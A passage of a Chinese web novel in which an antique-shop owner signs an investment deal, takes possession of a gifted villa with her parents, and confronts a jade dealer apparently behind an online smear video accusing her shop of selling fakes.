刚准备和刘秘书联系一下，询问来接她的车子是哪辆，下一秒，商务车车窗*降下，黎行聿冲她招手，推开车门下车。 萧妧妧错愕，她以为是司机师傅来接应，最多加一个负责跟项目的刘秘书，没想到黎行聿在车上。 萧妧妧快步过去，道一声早，心里别提多尴尬。 “抱歉，刘秘书约时间的时候没说是你来，我是不是耽误你上班了？” 这个时间段，显然不可能是从公司绕过来，只有一种情况，黎行聿在等她一起出发去黎明大厦。 想到这一点，萧妧妧浑身刺挠，早说她就拒绝刘秘书接送的提议了，或者把时间约早些，耽误别人时间太罪过了。 黎行聿拉开车门：“昨晚下过雨，早上交通状况不好，我推迟了出门时间，刘秘书说你也要去黎明，正好顺路。” 萧妧妧闻言，心里舒坦许多，再次感谢黎行聿帮忙。 多亏了他，萧妧妧可以踏踏实实等评估报告出来，只管签名打钱，省去不少麻烦与风险。 “举手之劳。给你的书看了吗，有哪里不明白？” 话题不知不觉拐向她最不想提的那个，萧妧妧眼神飘忽，不敢与他对视。 “……助眠效果不错。” 撒谎不仅会被轻易拆穿，还影响自己的人设，支吾片刻，萧妧妧硬着头皮选择坦白。 其实她很愿意学习新知识，分辨古董学习翡翠、宝石知识的时候，她一天不落，见缝插针。 投资不一样，一大堆专业术语，看得头昏脑涨，萧妧妧认定自己不是那块料。 黎行聿微愣片刻，神情恍然，挑眉道：“知识的力量……？” 萧妧妧唰一下涨红了脸，低垂下脑袋。 “不怪你，投资理论不易读，即便是注解版也难免过于枯燥。” 萧妧妧忙不迭点头附和，看向他的狐狸眼闪烁感动光芒。 真是一个大好人，连借口都为她找好了。 “是我考虑不周，这样吧，我们跳过理论，从实际投资案例开始学，或许会比看书有趣一点。” 萧妧妧笑容倏然凝固，目光定在他一本正经思考的严肃脸上。 这是什么话？哪里有趣了？为什么还没有放弃让她学投资，难道她看起来像是根骨奇佳、学投资的天才吗？ 不过话又说回来…… 投什么赚什么的霸总亲自教她如何选择投资项目，简直和天降别墅差不多档次的馅饼，萧妧妧根本狠不下心拒绝。 这馅饼太甜了，万一她真学会个一招半招，哪怕系统消失，她也有安身立命的本事。 眼珠子一转，萧妧妧便想清楚利弊，从商务车车载冰箱里拿出一瓶水，双手捧过头顶。 “师父，请受徒儿一拜。” …… 车子停在黎明大厦的地下车库，萧妧妧也给自己揽来一堆待学习的投资案例。 交2000字分析报告的那种。 天杀的，200字小黄文她都憋不出来，2000字报告和要她的命有什么区别。 她只想感受知识从大脑滑过的爽感，而不是写作业。 下车的时候，萧妧妧腿脚虚软，眼神发直。 “我要叛出师门！”她大声宣告。 黎行聿温和微笑：“担心我教不好吗？那就再加一个每日汇报吧，我负责答疑。” 萧妧妧呼吸一窒，仿佛回到了学期末赶大作业的惨淡时光。 刘秘书提前在电梯口接人，同行的还有西风科技的韩祺汪旭两人。 今天不仅要和黎明签约，还额外得到了1.5亿的投资。 谁能想到啊，一个古董铺的小老板，竟然能拿出1.5亿的现金投资！ 想起他们硬塞的十万块好处费，好像在扇人家嘴巴子一样。 两人对着电梯镜面整理领口，红色数字不断跳跃，越往上，他们越紧张。 叮一声响，电梯门打开，西装革履的黎行聿意气风发，后面…… 两人目光顿了顿，落在憋着嘴死气沉沉的萧妧妧身上。 刘秘书不着痕迹观察一番，领着大家去会议室。 前期工作准备到位，项目正式签约的这一刻反而像走过场。 唯一不同的是，走过场的人换成了顶头大老板，投资部门的经理成了毫无话语权的小卡拉米。 萧妧妧一点不慌，眼观六路耳听八方，黎行聿做什么她照着模仿。 一式两份的协议当场签名盖章，萧妧妧的余额减去1.5亿，西风科技的股份增加3% 签约结束，后面安排了双方团队聚餐，黎行聿自然是没时间去的，萧妧妧一个躺平蹭团队的更没必要去。 她还有更重要的事情要做。 账户余额所剩无几，她得尽快把孟有树支付的支票兑现。 拒绝了黎行聿参观公司的邀请，临走之前，为表谢意，萧妧妧拜托刘秘书给项目组的大家转发红包，负责为她拟协议的法务以及随时报告项目进度的刘秘书则给了双倍红包，每人两万。 和聘请专业团队、法律顾问的花费相比，她发出去的感谢费连一半都不到。 而且是大公司的专业团队，靠谱又安全，萧妧妧直呼划算。 来时空着手，走的时候，萧妧妧手里多了一份股权合作协议书，还多了几份黎行聿曾经主持过的投资项目报告。 捧着一摞文件夹，萧妧妧仰头望向微笑的黎行聿，再也不觉得这张脸帅了。 简直面目可憎！ 水润润亮晶晶的狐狸眼瞪得圆滚滚，长久地注视过来，控诉目光几乎烧穿他。 黎行聿忍住笑意，抬手轻抚她发顶。 “乖孩子，好好学。” 萧妧妧扯出僵硬微笑：“……” 【作者有话说】 5000字，应该不少了吧？不能再多了，被榨干啦[可怜] 感谢读者“糊图图图图”,灌溉营养液 +1 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“momo”,灌溉营养液 +1 133 第133章 ◎本宫的扭扭车呢？◎ 萧妧妧踩着重重步伐离开黎明大厦,刘秘书热情送她下楼，又送她上车，可见两万元的红包有多讨喜。 赶往最近的银行网点，时间不早不晚。 萧妧妧作为尊贵的VIP客户,享受了客户经理一对一服务,坐着喝喝茶,吃两口蜜饯,事情就办成了。 这次倒没有送什么米面油，而是一台水果笔记本电脑,一块瑞士机械表，以及一根100克的生肖金条。 哦,还有一个存款千万的帆布袋子，三样东西刚好塞满。 提着沉甸甸的帆布袋离开大厅,张芸的电话追了过来。 “妧妧啊，别墅和房子还在吗？” “你没骗我们吧？人家真把房子给咱们住啊？” “我和你爸一宿没睡好,这会爬起来脑袋晕得不行,我跟你说,我们还梦见房子让人给收走了。” “你说说,这不是自己花钱买的吧,就是不踏实。” 萧妧妧哭笑不得，耐心回应。 “在呢，说好了今天去办过户，晚上拿到钥匙带你们看房子？” 一听要去看房子,两人又高高兴兴的了。 “好好好，晚上去看。 对了,你说搬新家要不要搞个乔迁宴啊？ 就是房子太好了,我怕说出去让别人惦记,吓得我和你爸都没敢吱声。 我和你爸昨天一回家往屋里躲，我连广场舞都不敢跳，怕走漏消息。” 萧妧妧笑意加深，爸妈清醒着呢，比她明白财不露白的道理。 “那就办一个吧，请大姨小姨还有大伯一家，咱们出去吃，省得我们受累。” 张芸高兴坏了，咯咯笑：“好好好，我这就打电话。你放心，我不说月牙湾的事，我们只说你自己赚钱买了熙园，你可别说错了，让人问起来。” 匆匆挂断电话，萧妧妧笑着摇摇头。 当初决定回南市接手小卖部，大姨小姨反对最激烈，都劝她留在京城，女孩子就要往大城市钻。 大伯一家倒是没多说什么，不过也不怎么支持就对了，背后没少说她大学白念了。 亲戚之间这么念叨，传进萧大明和张芸的耳朵里，别提让他们多难受了 萧妧妧本来没想办乔迁宴，也不打算搬过去住，听到电话里张芸又激动又得意的语气，她突然改了主意。 就当是让爸妈高兴一下，给他们撑撑面子。 爸妈要搬过去，萧妧妧为了去小卖部方便，暂时不打算挪地方。 安抚好患得患失的两人，萧妧妧打车前往保险公司。 因为评估和鉴定还没开始做，目前只是咨询。 拿到几个投保方案，萧妧妧一对比，果断选择展览临时险，刚好覆盖整个展览期。 记下保险公司需要哪方面的材料，了解理赔方面的关键点，时间已经过了一点。 离开保险公司，萧妧妧随便在外面吃点东西果腹，马不停蹄往下一个目的地赶。 因为是赠与过户，被赠与人按理说可以不用到场，她不放心把身份证交给别人，宁愿跑一趟。 和孟有树在房管局碰面，看到熟悉的深色T大裤衩、踩着拖鞋，笑容满面迎上来握手的男人，萧妧妧总算有了实感。 她即将有用一套独栋大别墅和市中心大平层的实感。 “萧老板不知道，昨天我把东西搬回去，给家里老人打了视频，他们一顿夸，夸我会办事，夸萧老板会细心，把东西保管得好。” 即便开古董铺并非热爱，只为变现，看到客户发自内心的满意，萧妧妧仍旧生出了成就感。 “您和您的家人满意就好。”萧妧妧笑着回应。 时隔几天再次来到房管局，好巧不巧，这次为他们办理业务的，也是上次为她办理189号商铺过户的工作人员。 他显然认出了萧妧妧，接到证件后多看她一眼，仔细询问户主孟有树，严谨核对所有证件材料。 拿到房本和钥匙是二十分钟后的事，两样东西到手，萧妧妧的心彻底踏实了。 别看她嘴上信誓旦旦和父母保证，其实自己的心也在天上飘着。 在此之前，萧妧妧并不认为那只犀角有多值钱，更不认为它值得孟有树拿一套别墅一套房交换。 昨晚刷视频的时候，接收的信息越多，萧妧妧越拿不准，总担心孟有树随时反悔。 这下好了，过户手续完成，钥匙静静躺在她手心，萧妧妧咧着嘴笑。 “对了，孟先生，有件事想拜托您帮忙打听一下。” 收起东西，萧妧妧严肃脸开口。 孟有树想也不想的答应下来：“萧老板真客气，有什么要打听的直说，我尽力。” 得知孟有树手里有一家专做影视剧发行投资的传媒公司，萧妧妧当时便动了心思，想着验证一下自己的猜测。 后来她查了一下，得知孟有树的那家公司在圈内名气不小，在业内口碑还不错，萧妧妧按捺不住了，躁动难宁。 正好生意谈成，萧妧妧有意让利，料想孟有树不会拒绝。 事实也是如此，孟有树甚至没问她要打听什么呢，一口应下，干脆利落。 萧妧妧笑了笑，暗道一句那些折上折没白打。 将自己的想法和盘托出，孟有树一副吃到瓜似的表情望过来。 “这可太巧了，这么说起来，萧老板差点去演艺圈发展？” 萧妧妧笑笑：“可惜没进圈先退圈了。” 孟有树哈哈笑，道：“小事，我让人安排一下，有消息了我告诉你一声。” 萧妧妧连声道谢，目送孟有树离开后，自己打车回了月牙巷。 张芸和萧大明昨晚没睡好，早上起得晚，午饭过后又去补觉了。 萧妧妧进家时两人悠悠转醒，揉着眼睛出来。 萧妧妧放下东西，拿出房本和钥匙，偷笑着走进，趁他们不注意，腾一下顶着大红本出现在他们眼前。 张芸愣了愣，又揉了几遍眼睛，捧起大红本一遍遍抚摸。 萧大明也没好多少，低声碎碎念，几次核对了户主名字以及房产信息，两人顿时笑得看不清五官，只看的到一排大白牙。 “走走走，咱们看房去，”张芸拉着闺女往外走，朦胧日光晒在身上，她又想起来自己刚睡醒，“不行不行，快把衣服换了，打扮精神点。” 夫妻俩风风火火，恨不得马上飞过去，刚到家的萧妧妧几乎瘫倒，“外面太热了，吃了晚饭再去吧，反正钥匙在我手里。” 早上凉爽宜人，中午过后突然闷热，萧妧妧在外面跑了大半天，这会累得不行。 张芸闻言放慢动作：“有道理，晚上去感受感受，看看邻居家吵不吵。要是隔音不好，咱们把钱留着重装也行。” 老两口抱着房本不撒手，开始琢磨怎么安排房子。 要不是萧妧妧提前说过，房子全部是孟有树找设计师精装，留在手里没住过，他们现在就得挑装修风格了。 想到爸妈一言难尽的审美和偏好，萧妧妧庆幸不已。 幸好孟有树钱多花不完，哪怕房子多到住不过来，也坚持找专业设计师负责装修，便宜了捡漏的萧妧妧。 也是这次交易，萧妧妧才知道，原来干房地产的经常自留高品质房产，用以自住或是拿来走人情送礼等。 落到萧妧妧手里的那套大平层就属于孟有树自留的高品质好房。 市中心闹中取静的好地段，又是楼王，而且在最顶层，附赠面积有200平，景观绝佳。 甚至孟有树还提前安排了保洁，让房子干干净净交到她手里。 萧妧妧根本挑不出一点不妥的地方。 和爸妈约定好出门时间，萧妧妧歇了一会便决定去小卖部看看。 一整天在外面跑，还不知道店里面什么情况。 萧妧妧慢吞吞骑着史努比来到小卖部，推门进院，孟甜甜在石桌上做计划，地图上画了几个圆圈和叉叉。 爱丽丝不在，申明月这几天要赶路，也不在，她常坐的沙发…… 萧妧妧目光一顿，看到若无其事追短剧的柳如烟不禁挑眉。 柳如烟察觉到注视目光，脸颊红红，仰起头，不满地问：“萧老板，本宫的扭扭车呢？” 她绝口不提之前闹别扭的事，好像事情不存在一样，照常与大家说话。 孟甜甜冲萧妧妧挤了挤眼，悄声说：“她这几天都是偷摸过来呢，我就当没看见。” 原来连孟甜甜也在照顾小破孩的面子。 柳如烟脸颊更红了，憋着嘴巴撇过脑袋，话音强硬，语气却是飘忽的：“没有扭扭车，本宫下次可不来了。” 萧妧妧轻笑一声，怎么还这么傲娇啊。 “知道啦，明天把扭扭车送回来。”萧妧妧配合的说。 柳如烟哼哼两声，偷瞄一眼两人反应，抱着平板躲进小卖部。 等看不见人影，孟甜甜示意萧妧妧去看桌上的红木食盒。 “小孩子要面子呢，找了借口过来的。” 萧妧妧上前解开盖子，里面塞满了各色点心。 有她夸过的六安瓜片，整整一罐子；有孟甜甜喜欢的玉露团，一整盘端了过来；也有她们都喜欢的龙井茶酥，小山一样堆积。 “算了，她还是个孩子呢。”萧妧妧合上食盒盖子，如是说。 孟甜甜叹气：“情窦初开，又是叛逆期，可以理解。” 两人相视一笑，坐下吃糕点。 柳如烟缩在后门边上像只灵活地鼠，脑袋一探一缩又一探，直到看见她们吃了点心才翘起嘴角，彻底缩回去。 孟甜甜确定柳如烟不会出来后，她道：“毕竟是个孩子，给她安排点作业吧。我看爱丽丝最近学得挺好，两人正好有个伴。” 萧妧妧闷头笑，笑完，当场用行动证明了自己的支持。 爱丽丝学数理化和野外求生，柳如烟当然是学道德与法治，附带一本《海王的套路》网友汇编版。 【作者有话说】 感谢读者“韵月”,灌溉营养液 +1 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“妧訢”,灌溉营养液 +2 感谢读者“陈小晓”,灌溉营养液 +5 感谢读者“兮然”,灌溉营养液 +30 感谢读者“mmmosquito”,灌溉营养液 +5 134 第134章 ◎花五万买了个教训◎ 说好晚上去看房,计划赶不上变化，一场大暴雨突然袭来。 张芸担心身上湿漉漉，弄脏新房子，强硬要求推迟看房。 萧妧妧无所谓耸肩,早看晚看都一样。 正好白天在外奔波,前一晚又没睡好,萧妧妧累得不行,早早洗漱上床。 第二天一大早爬起来，萧妧妧精神抖擞,看外面又是艳阳天，头发一股脑扎起,换上舒服的卡通T恤大裤衩还有洞洞鞋。 萧大明和张芸则相反，格外有仪式感,打扮得鲜亮齐整。 尤其萧大明，穿上了他的新皮鞋和烫出锋利裤缝的西装裤。 夫妻俩一看到闺女的打扮,眉头直皱。 “昨天穿的挺正经,怎么今天又变回去了？回头让邻居看见了留下坏印象。”张芸念叨她。 萧妧妧才不在乎邻居什么印象呢,推着爸妈上车。 同样是市中心区域,月牙巷前往熙园所在的地段并不近,加上工作日堵车，一家子站在气派的小区门口，时间已经过去了半小时。 张芸没有急吼吼进小区，先绕着周围逛一圈,在附近便利店找人打听情况。 最近的商场在哪里，菜市场有多远,车站多不多……情况摸得一清二楚,张芸才买了三瓶水回来。 “高档小区真不一样,菜市场太远了，还好超市挺近。” “听说入住率不高，这一点我喜欢，清静。” 前脚满意小区清静，后脚进去看到假山喷泉，成荫绿树，完全一个冷冷清清的大公园，张芸便不觉得清静是个优点了。 “建得像公园一样，都没个人气，搁在月牙巷全是纳凉的人。 你看中间那一片地，最适合打麻将，要是大家坐一起摘菜可热闹了。” 萧大明指了指另一边“砰砰”响的地方，“高档小区嘛，谁跟你摘菜跳广场舞，看那边，都去打网球羽毛球啦。” “真好，还有球场呢。”张芸踮起脚看了一会，高兴地笑：“回头我们也去打，锻炼身体。” 除了太清净这一点，夫妻俩越看越满意，一路乐乐呵呵，绕错路也不抱怨。 找到对应楼栋，刷卡上电梯，电梯打开就是60平左右的入户花园，打理得干净又美观，夫妻俩哇声连连。 “没听说一层就咱们一户啊，你瞧瞧，都没封窗，下雨天得飘多少水进来。” 嘴里挑剔着，张芸面上乐坏了，一梯一户，层高4米，可真宽敞。 等进了屋子，夫妻俩直接目瞪口呆，好半晌才想起来从背包里拿出拖鞋。 颇具艺术感的性冷淡风装修，看起来十分有逼格，挑高的大厅有一整面窗户，白天采光极好。 “老萧你看，空调油烟机现成的，可以用，遥控器里电池是新的呢。 你看客厅那个大吊灯，那么老高，挂的什么玩意，怎么打扫哦。” 萧大明不吭声，只一味地弯腰、蹲下、踮脚……到处看，脸上笑意明朗。 张芸非常有主人翁意识，一边挑剔一边琢磨哪里不便，需要添置哪些东西。 萧妧妧一听，什么紫色蕾丝桌布，碎花窗帘，花开富贵挂画……头皮发麻，赶紧劝阻。 “妈你可别乱扔，那个贝壳大吊灯，花了30万，国外艺术家手工做的。 餐厅的餐桌花了15万，壁灯是琉璃工艺品，3、4万呢。 沙发看着普通，其实要二十多万，不便宜。 还有卧室的几张床，全是意大利手工造的，一个五十万，光运费就不少钱。” 萧大明听得反应不能，张芸一个劲哎呦哎呦。 “什么家庭啊，一张床五十万！” 她赶紧扭身找卧室，楼上楼下翻了个遍，看看五十万的床到底长什么样。 萧大明扶着老花镜，琢磨贝壳吊灯到底哪里值30万，他觉得他也能做出来。 夫妻俩咋咋呼呼在屋子里乱转，萧妧妧看得好笑，了解房子布局后，四肢舒展，瘫在沙发上休息。 张芸踩着拖鞋啪嗒啪嗒回到客厅，“老萧你快去看，楼上阳台可大了，风景特别好，二楼还有个放衣服的屋子，比咱家卧室大。那个床我看了，没什么特别，真搞不懂有钱人的想法。” 萧妧妧笑，撑着脑袋看他们嘀咕。 张芸环顾一圈，一脸心疼的表情道：“不行不行，这么贵的东西肯定不能扔，我得多买点罩子回来盖上，落了灰难打扫。” 萧妧妧笑容凝固，根本笑不出来。 嘿，弄巧成拙了。 萧大明从屋子里转一圈出来，再次确认：“妧妧，人家把房子给咱们了，这么多家具摆设一起给啊？” 萧妧妧从包里掏出厚厚的票据夹，“看，票据本都在我这呢，有什么问题要联系售后的，从里面找。” 萧大明翻了几页，对应他看到的各种电器，这才相信。 “这、这可花不少钱呢。”他激动地说。 张芸得意：“那说明咱们妧妧生意做得好啊，不然人家怎么会拿好房子买古董？” 萧大明一想也是，乐呵呵商量房间分配。 萧妧妧看他们实在高兴，一时半会不打算走，翻了个身趴沙发上玩手机。 头冠的视频火出圈，点赞到目前已经有300万，转发超过150万，私信和评论多得回复不过来。 想到莲花头冠要出冰箱贴和复原款头饰，萧妧妧把之前挂出来的评论删掉，统一回复“敬请期待”几个字，宣传一波热度。 果然，评论一经发出，惦记头冠的网友追着询问。 萧妧妧回想田齐当时的说法，可以适当透露消息，打预防针的同时顺带看看网友的想法，设计公司会适当调整方案，于是模糊说出和博物馆合作文创开发的计划。 说完正事，她又忙着回复私信，问地址的，问特定古董的，问文创品类的，后台疯狂刷新，手机都卡顿了。 挑拣着回复了十几条，萧妧妧渐渐没了耐心，刚想退出去切小号刷男模，一条来自陌生网友的视频分享过来。 瞥到熟悉的画面，萧妧妧目光顿住。 “谁来管管古董店！买到假货只能自认倒霉吗？” 读完标题，网友紧跟着发来问句- 店主姐姐，玉哥说的是真的吗？- 我看过他的直播，东西确实在你店里买的，证书也可以作假？ 在家里发现一只蟑螂意味着还有一窝等待发现，同理，收到一条质疑真假的评论，后面还有成百上千条。 她随手往下翻，果不其然有许多质疑的私信夹杂其中，要求她正面给出答复。 萧妧妧茫然又无辜，卖假货是不可能的，店里真货都塞不下。 那么只有另一种可能——碰瓷、造谣、泼脏水。 嫉妒她生意太好了？ 萧妧妧不确定所谓博主的曝光视频目的是什么，点进视频从头看到尾。 “价值五万的碧玉平安扣是假货！ 惊呆了家人们，花五万在一个公益捐赠起号的古董店主那里买了平安扣，当时证书齐全，而且看到的实物特别美，一眼认定。 抱着支持店主的想法，于是一分未还价，花了五万五千元购入。 关键来了，买回来发朋友圈，好朋友说是假货！ 我想这不能吧，人家都捐史料上热搜了，这么好的人，不能卖假吧？ 但博主的朋友平时就研究玉啊翡翠的，博主也拿不准，于是！ 重点来了，我花了点小钱送去我们当地的检测机构，今天刚拿到结果……” 博主飞快口述，夸张语气配合特效，迅速抓住大家的目光，点赞量过万。 口述过程中，根据他的含糊描述，几个高赞弹幕飘过——- 不会是这几天特别火的那个吧？- 莲花头冠？- 只卖真货的不破斋？- 指路，搜莲花头冠，最高赞的那个 嗯，几乎是指名道姓了。 萧妧妧暂停视频，拉回去看博主贴上来的照片。 购买票据、卖方提供的鉴定证书、博主购买画面、朋友圈截图、送检结果照片…… 无论是文字描述还是截取的购买拍摄画面，傻子都能看出来指得是萧妧妧的不破斋，完全能对应上。 点进博主账号，原来早在几天前就发布了要探店不破斋的评论。 萧妧妧拧紧眉头，回想片刻，终于记起来了。 是孟甜甜察觉到恶意的那个顾客！ 萧妧妧只当他是普通打卡的网红网友，拍摄视频用作素材，结果倒好，购买过程全程直播。 也因为这一点，博主粉丝相当硬气- 谁家作假还直播啊？肯定是真的- 我看到直播了，标价没错- 看起来不像古董铺，什么玩意都有，不好讲 她根据评论又翻找了一遍，买平安扣的素材已经切片制作成视频，昨天上午发布，因为没什么特别的内容，点赞几千左右。 萧妧妧仔仔细细看完一遍，忽然笑出声。 孟甜甜说得没错，那人确实不怀好意。 视频不长，但恶意满满，出镜的古董两三个，拍得不全，半截入镜，其他则挑了店里的艺术品拍全貌凑数，标价牌倒是一个不落的给了放大特效。 看不清实物，又有视频移花接木，网友自然只会觉得东西贵，评论区一水吐槽她飘了，卖工艺品竟然敢开价百万。 只这一条引导性十足的视频，萧妧妧可以确定，这位ID玉哥的博主从一开始就是冲着她来的。 前期铺垫了几条视频，后面紧跟着发布打假曝光，显得顺理成章，无懈可击。 回到打假曝光视频，接着播放。 “家人们看好了，证书上写着，玻璃及其他合成材料！五万五千买的高透冰底和田玉碧玉平安扣，竟然是玻璃！” “这合理吗家人们？” “行里规矩我懂，钱货两讫，我就当自己花五万买了个教训。 希望有打算去买古董，或者和我一样抱着支持想法的家人们，你们一定考虑清楚。 不知道这条视频能留多久，反正我就说这么多，毕竟人家是大善人对吧？我们小网红……大家心里懂就好。” 画面最后，博主故作释然，随即表情骤变，一副气不过的真性情姿态，抓起平安扣砸出画面。 砸没砸碎不知道，视频到此结束，整段视频里，他既没说店铺名称，也没让平安扣正面出现，更没有管评论区指向性强的留言。 瞧他义正言辞、打落牙往肚里咽、大度又宽容的样子，活该萧妧妧退圈，这样的演技才配进圈呢。 最后一句格外有意思，茶里茶气。 萧妧妧录屏留存证据，联系律师的同时，把自己留下的备份存档材料整理出来。 博主玉哥有什么目的她不想知道，只想让他赔个底掉。 不清不楚的打假视频有1万点赞，播放量只多不少，谣言散播出去，不管如何辟谣、证明，哪怕胜诉，不破斋至此彻底和假货两个字牵扯到一起了。 是真是假无所谓，只要扯上关系，假的就能打成真的。 要么按死造谣视频，要么把事情闹大，失控，看看到底谁作假。 前者，她没那个能量，后者…… 萧妧妧捏着下巴沉思，看热搜词条不断弹送，“南市博物馆合作莲花头冠文创”“五万五买了个玻璃”，倏然露出核善微笑。 后者本来没多大希望，但现在有了。 【作者有话说】 感谢读者“我爱学习”,灌溉营养液 +35 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“韵月”,灌溉营养液 +2 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“爱吃炸串”,灌溉营养液 +1 感谢读者“momo”,灌溉营养液 +1 135 第135章 ◎不速之客◎ 好事不出门,坏事传千里。 古董铺负面舆论冲上热搜，看到消息的熟人、顾客紧跟着找来打听。 萧妧妧感到意外的是，最先来问的人竟然是黎行聿，打破了萧妧妧对他“网速慢”的印象。 一一回复解释,萧妧妧犹豫了几分钟,到底没有好意思接受黎行聿介绍的律师团队。 大材小用了,她这个案子挣不到多少钱,用不着一个团队上场。 反正她现在不缺时间不缺钱，为了出口气,就算磨上一年半载也愿意。 打官司是后续安排，当下,针对真假平安扣一事，萧妧妧除了否认以外,不做其他回应。 黑红也是红，负面舆论也是舆论,趁着现在关注度高赶紧打打广告。 萧妧妧先联系了田齐,确保头冠通过第三方鉴定后,合作不会因为负面舆论而终止,悠哉悠哉发布了一条头冠视频素材。 置顶评论硬气表态,再为接下来的文创开发做预告、征集大家意见，萧妧妧忙完这些便退出账号。 张芸萧大明计划怎么布置房间，看样子一整天都要花在这里，萧妧妧有事情要忙,和爸妈知会一声，打车回小卖部。 头冠需要打包送去指定机构鉴定,资料要准备,还要找出博主当天来店里的各个角度监控,一堆事情等着她。 萧妧妧扎进小卖部便忙个不停，头冠送出去，心里惦记的事少了一大半，她才坐下来仔细看监控。 展示柜四角装有摄像头，系统也有监控，她不怕麻烦，全部调出来确认一遍。 萧妧妧可以打包票，从申明月送来平安扣，再到卖出去，中间毫无问题，再次佐证，出问题的必然是博主那里。 可能是东西掉包，可是找了类似的物件代替，毕竟平安扣又不是多特别的物件，当然也可能是证书作假，这反而是最容易的步骤。 说到特别，萧妧妧回看视频，又去对比博主玉哥展示的画面。 来回对比中，手机叮叮响。 萧妧妧眼睛没挪开一下，接通电话放在耳边。 “萧老板，您这店藏得可够深啊，怕网友找上门骂你卖假货吗？” 萧妧妧眉头一拧，挪远手机扫一眼来电显示。 “萧老板，开个门吧，我到门口了。” 萧妧妧一个字没来得及说出口，看着挂断的电话，无语的笑了。 是前不久联系她看货的翡翠商赵老板，做局收高鹭帝王绿的几个大老板之一。 萧妧妧当时没应声，赵老板自顾自定了时间，径直挂断了电话，和今天一样没礼貌。 事情*前后脚找上门，萧妧妧不得不怀疑其中关联。 敲门声响起，她不急不缓整理一番，关上电脑，打开院门迎接不速之客。 赵老板从外表看并不奸恶，相反，十分儒雅。 当然，只是看起来如此。 两人一照面，各自惊讶了一会，赵老板没事人一样，熟络的寒暄恭维。 萧妧妧段位没那么高，也懒得与他惺惺作态，双手环胸，摆明了不欢迎的姿态。 赵老板不以为意，笑眯眯，像个和蔼叔叔，一进门一顿夸。 “真不错，萧老板的古董铺很有实力。” “我当是哪个小年轻不懂事，砸同行的饭碗呢。” “听说您这铺子开了没多久？可以理解，新人入行不懂规矩，我们几个老家伙愿意照顾一点。” “这次就当个意外，咱们把事情了结，大家各做各的生意。” “萧老板您的意思呢？” 客套过后，赵老板占据主动权，开门见山表达来意。 萧妧妧挑眉：“赵老板想怎么了结？” 赵老板微微笑，没说什么，双手背后，悠闲地溜达，目光一会掠过多宝架，一会停留在展示柜。 “怎么没见帝王绿？我今天来可就是为了它。”赵老板转了半圈，没接话茬，扭头问她。 萧妧妧挪步到柜台旁，胳膊搭在玻璃柜面，轻拍两下：“不知道赵老板要找哪种帝王绿呢？我这有手串，有手镯，有无事牌，是您要找的吗？ 不然您再看看，白月光、帝王紫、阳绿、墨翠……哦，还有龙石种。” 赵老板眯了眯眼，嘴角笑意敛去，和善面容多了一丝阴险。 “萧老板跟我装傻？” 他垂眸，挑剔扫向萧妧妧身旁的首饰展示柜，目光倏然顿住，面色微沉。 “……龙石种？” 赵老板当她吹嘘，见到柜子里满当当的物件，他控制不住迈步上前，几乎趴在玻璃柜台上，双眼瞪出眼眶。 萧妧妧很满意他的反应，不枉费她特意翻出龙石种镇场子。 前几天这么做是为了让孟有树刮目相看，见识见识她的实力。 今天来这么一出，差不多的意思，为了震慑赵老板，也可以说故弄玄虚。 毕竟心眼多的人容易胡思乱想，事情顺利解决最好，解决不了，赵老板再想折腾什么幺蛾子，至少得掂量掂量。 她微笑道：“赵老板您帮我瞧瞧，这是真的吧？第一次开店，万一让人糊弄了怎么办？您再瞧瞧，这里还有墨翠，也是好货。” 赵老板半晌才挪开涣散目光，确实是传说中的龙石种。 他竟然在一家古董铺里看到了龙石种！ 见鬼了…… 这一事实冲得他脑袋发晕，赵老板吞了吞唾沫，僵硬转动脑袋。 往左侧一偏，黑里透绿的墨翠手镯品相惊人。 再往右侧一瞄，龙凤镯交叠摆放，帝王绿手镯手串绕成一圈。 好多帝王绿！ 赵老板呼吸停滞片刻，不敢相信自己的眼睛。 好一会平息心中惊讶，他又去看柜台其他角落。 玳瑁手串、象牙手串、红珊瑚、起刚起荧的帝王紫珠链、净度极好的蓝色、绿色宝石戒指…… 他主做翡翠，对古董和彩宝没有研究，但来往的客户喜欢，连带着了解不少知识。 柜台里的彩宝戒指，比他那些明星客户手上戴的好不止一个档次。 更不要说翡翠玉石了。 龙石种是真的，市面上找不到的帝王绿、帝王紫、墨翠……同样是真的，件件价值超过高鹭出手的那条帝王绿。 连稍次的白月光晴水绿正阳绿，亦非普通货色，这种级别的品质，就是同行圈子里都难得一见。 赵老板扫一眼柜台，琳琅满目一大堆，不要钱似的堆在一起，仔细看，没一个简单得。 它们全部加起来，足够买下他们几个合伙人的所有保险箱还有余。 一柜子抵得上几个人奋斗半辈子的身家，赵老板有点破防。 他强迫自己冷静下来，抬眸，重新审视萧妧妧，眼底有几分忌惮。 年轻、漂亮，一般人眼里的优势在他们眼里约等于没经验、歪门左道。 然而就是这样的人，手里攥着有价无市的顶尖货，好到让他嫉妒。 流到二级市场的成品翡翠不会有多少特别顶级的货，一是价格太高，吃不下，二是有比他们更厉害的大珠宝商在，直接从源头买断，轻易不会落在普通翡翠商手里。 尤其像眼前看到的顶级成品翡翠，他可以笃定的说，要么在非富即贵的藏家手里，要么在大珠宝商的保险库里，根本不在市面流通。 资料不会错，新开不到一个月的铺子上哪弄来这么多好货？ 背后有人？ 脑筋飞快转动，赵老板得出这么一条结论，瞬间收起轻视。 “萧老板替谁干活我不管，只是高小姐的帝王绿一直是我们遇翡在谈，您横插一脚进来，说出去可不占理。” 萧妧妧笑：“少说一个亿的帝王绿大珠链，您开价五千万就占理了？” 赵老板深呼吸，耐着性子开口：“那是我和高小姐的买卖，萧老板新人入行不了解行情，我们可以原谅。” 萧妧妧翻了个白眼：“我做错什么了要你原谅？” 赵老板一噎，面色格外难看，原本想提出花五千万买回来的事，这会看来也不必再提。 他抿着唇角瞪过来，好一会才开口，不说帝王绿的事，调转话锋：“萧老板年轻气盛，就是不知道你这铺子能不能撑得住。” 萧妧妧听出话音里的威胁意味，偏头看他。 “网上流言蜚语太多了，一个不慎，萧老板的铺子可就没信誉了，到时候能不能开下去都难说。” 听话听音，赵老板这一句近乎挑明。 萧妧妧上下打量他一遍：“赵老板有什么好建议？” 赵老板气定神闲，慢悠悠说：“我们有个股东张老板，人脉广，认识不少网红，萧老板愿意和我们和谈，了结这桩误会，想来博主和您之间的误会也能顺利解开。” 萧妧妧的猜测成真了，暗道一句果然。 